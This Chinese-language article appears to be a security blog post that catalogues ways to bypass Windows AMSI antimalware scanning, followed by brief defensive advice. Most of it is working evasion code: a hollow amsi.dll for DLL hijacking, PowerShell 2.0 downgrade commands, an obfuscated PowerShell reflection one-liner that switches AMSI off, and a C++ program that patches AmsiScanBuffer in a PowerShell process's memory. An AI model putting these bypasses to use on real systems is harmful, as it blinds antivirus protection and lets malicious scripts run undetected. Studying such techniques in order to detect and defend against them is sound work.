几种对抗AMSI的方式
字数 1118 2025-08-25 22:59:15
对抗AMSI的多种方式详解
什么是AMSI?
AMSI (Antimalware Scan Interface) 是微软开发的反恶意软件扫描接口,主要功能包括:
- 提供通用接口标准,允许应用程序与服务与机器上的反恶意软件产品集成
- 增强对恶意软件的保护能力
- 支持文件和内存/流扫描、内容源URL/IP信誉检查等技术
- 支持会话概念,关联不同扫描请求
AMSI已集成到Windows 10/Server 2016及更高版本的以下组件中:
- 用户帐户控制(UAC)
- PowerShell(脚本、交互使用和动态代码评估)
- Windows脚本宿主(wscript.exe和cscript.exe)
- JavaScript和VBScript
- Office VBA宏
AMSI绕过技术详解
1. DLL劫持技术
原理:
- PowerShell启动时会加载amsi.dll
- 利用DLL加载顺序劫持合法amsi.dll
实现步骤:
- 创建自定义amsi.dll,导出所有必要函数但功能为空:
#include "pch.h"
#include <iostream>
extern "C" __declspec(dllexport) void AmsiScanBuffer(HAMSICONTEXT amsiContext,
PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession,
AMSI_RESULT * result);
void AmsiScanBuffer(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length,
LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result) {
// 空实现
}
- 定义必要结构体:
typedef struct HAMSICONTEXT {
DWORD Signature; // "AMSI"或0x49534D41
PWCHAR AppName; // 由AmsiInitialize设置
DWORD Antimalware; // 由AmsiInitialize设置
DWORD SessionCount; // 由AmsiOpenSession增加
} HAMSICONTEXT;
typedef struct HAMSISESSION {
DWORD amsiSession;
} HAMSISESSION;
typedef enum AMSI_RESULT {
AMSI_RESULT_CLEAN = 0x00,
AMSI_RESULT_NOT_DETECTED = 0x01,
AMSI_RESULT_BLOCKED_BY_ADMIN_START = 0x4000,
AMSI_RESULT_BLOCKED_BY_ADMIN_END = 0x4fff,
AMSI_RESULT_DETECTED = 0x8000,
} AMSI_RESULT;
- 将编译好的amsi.dll放入
C:\Windows\System32\WindowsPowerShell\v1.0目录
限制:
- 需要管理员权限
- DLL需要免杀处理
- 可能导致PowerShell不稳定
2. 降低PowerShell版本
原理:
- PowerShell 2.0及以下版本没有集成AMSI
实现步骤:
- 检查当前PowerShell版本:
$PSVersionTable
- 检查是否安装PowerShell 2.0:
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2
- 启用PowerShell 2.0(需要管理员权限):
Enable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2
3. 混淆技术
原理:
- 通过字符串拼接、编码等方式绕过静态检测
示例1:基本字符串拼接
"amsiutils"
"amsiuti"+"ls"
示例2:关闭AMSI的混淆实现
$a =[Ref].Assembly.GetType('System.Management.Automation.AmsiUti'+'ls')
$h="4456625220575263174452554847"
$s =[string](0..13|%{[char][int](53+($h).substring(($_*2),2))})-replace " "
$b =$a.GetField($s,'NonPublic,Static')
$b.SetValue($null,$true)
4. 内存补丁技术
原理:
- 修改AmsiScanBuffer函数内存,使其失效
实现方法1:修改检测长度参数
# 复杂的内存搜索和修改脚本(已失效)
实现方法2:直接修改函数返回(C++实现)
#include <Windows.h>
#include <stdio.h>
int main() {
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);
CreateProcessA(NULL, (LPSTR)"powershell -NoExit dir", NULL, NULL, NULL, NULL, NULL, NULL, &si, &pi);
HMODULE hAmsi = LoadLibraryA("amsi.dll");
LPVOID pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
Sleep(500);
DWORD oldProtect;
char patch = 0xc3; // ret指令
VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
WriteProcessMemory(pi.hProcess, (LPVOID)pAmsiScanBuffer, &patch, sizeof(char), NULL);
VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, oldProtect, NULL);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
FreeLibrary(hAmsi);
return 0;
}
5. 其他已失效的技术
- 卸载AMSI:会导致PowerShell崩溃
- 关闭Windows Defender:已无法使AMSI失效
- COM劫持:已被修复
- NULL字符绕过:已被修复
防御建议
- 保持系统和安全软件更新
- 监控PowerShell进程的异常行为
- 限制PowerShell 2.0的使用
- 实施应用程序白名单
- 监控DLL加载行为
参考资源
- 《Bypass AMSI的前世今生》by LN
- https://idiotc4t.com/defense-evasion/memory-pacth-bypass-amsi
- 微软官方AMSI文档
注意:本文所述技术仅用于安全研究和防御目的,请勿用于非法用途。